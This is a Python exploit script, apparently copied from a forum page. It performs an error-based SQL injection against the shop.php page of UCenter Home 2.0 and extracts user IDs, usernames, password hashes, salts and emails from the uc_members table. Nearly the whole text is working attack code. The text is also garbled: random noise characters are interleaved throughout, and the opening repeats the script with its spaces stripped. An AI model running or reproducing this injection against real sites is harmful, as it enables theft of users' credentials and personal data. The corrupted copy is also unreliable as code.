#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl2 I- j) k; [( }- q' x
+ B. K2 E5 e5 u" n0 F
9 d, S( \. R- C& X/ T$ y
#!/usr/bin/env python
$ s0 G& a, M# M3 s 5 C0 ~4 l! l) ? r8 e
import sys
2 ~3 l# k6 s: A1 z. nimport urllib2
7 ?( {8 `) W' Vimport re 4 `' X6 M7 x `# S& `
+ {, E' D9 u2 K5 W& Tdef info(): ' p9 M6 |- v' s) E
print 'From:http://www.exploit-db.com/exploits/14997/'
* f8 v: V0 |' R+ t* @$ S print 'http://www.hake.cc/Web_loudong/' ) z) w; P$ R, [8 m' n3 A% j' i
print 'changed:qiaoy' h! c, C0 ^( W9 y
print 'exp:'
3 M) e# T8 w- ~0 Z* o' _ ^ print ' ./UCenter_Home_2.0.py site' + k8 @6 ]! i9 r1 Q& v; p
5 Y, H5 z7 a3 P: I$ c: d; K9 Jdef main(): * f1 ?" |, _0 o
if len(sys.argv) != 2: 5 x. \# f7 C5 Y4 T) ~# F) O
info() # m' v+ M) t$ M/ _- \
else: : g P9 i* g+ L* n# J. m6 I" R
site = sys.argv[1] + t% Z, ~$ Y7 ? Z. M
if site[0:7] == 'http://': " W) O; o* {! t
sitesite =site
R" k- W6 }6 F! h elif site[0:8] == 'https://':
5 `9 R; e4 B1 \9 H% B sitesite = site # k0 a; [4 t, D/ p1 K+ u8 |: q
else: 4 L. N4 H5 k' n
site = 'http://'+site
% {7 d' ^/ a* N& B: D8 F try: : i5 W" f8 K6 F
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
" V; ?! H! T. T( W. ] Value = urllib2.urlopen(url).read() & U, x* q7 W5 n3 p# T! \6 k
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] , t( E3 X2 b3 | W6 [# k5 F
hacked = Msg.split(':') , \: e+ w* N# }$ C
print 'Name: '+hacked[1]
- i7 |' w/ r' ]+ y" n print 'Passwd: '+hacked[2] # n1 y$ |3 b! R: B* H
print 'salt: '+hacked[3] $ c1 z$ ?# g! t4 f( U
print 'email: '+hacked[4]
9 D% }; X/ }# t) {, z9 c5 p6 W except:
2 S. x% _+ ?- O) y9 K+ U* x print 'Sorry,I can\'t work............'
$ G7 g" ]* C# ~7 K$ {8 v8 C $ U7 D- ]* }7 ]
if __name__ == '__main__':
6 u* k; k- l5 Z6 X' T3 Z' W/ v main() |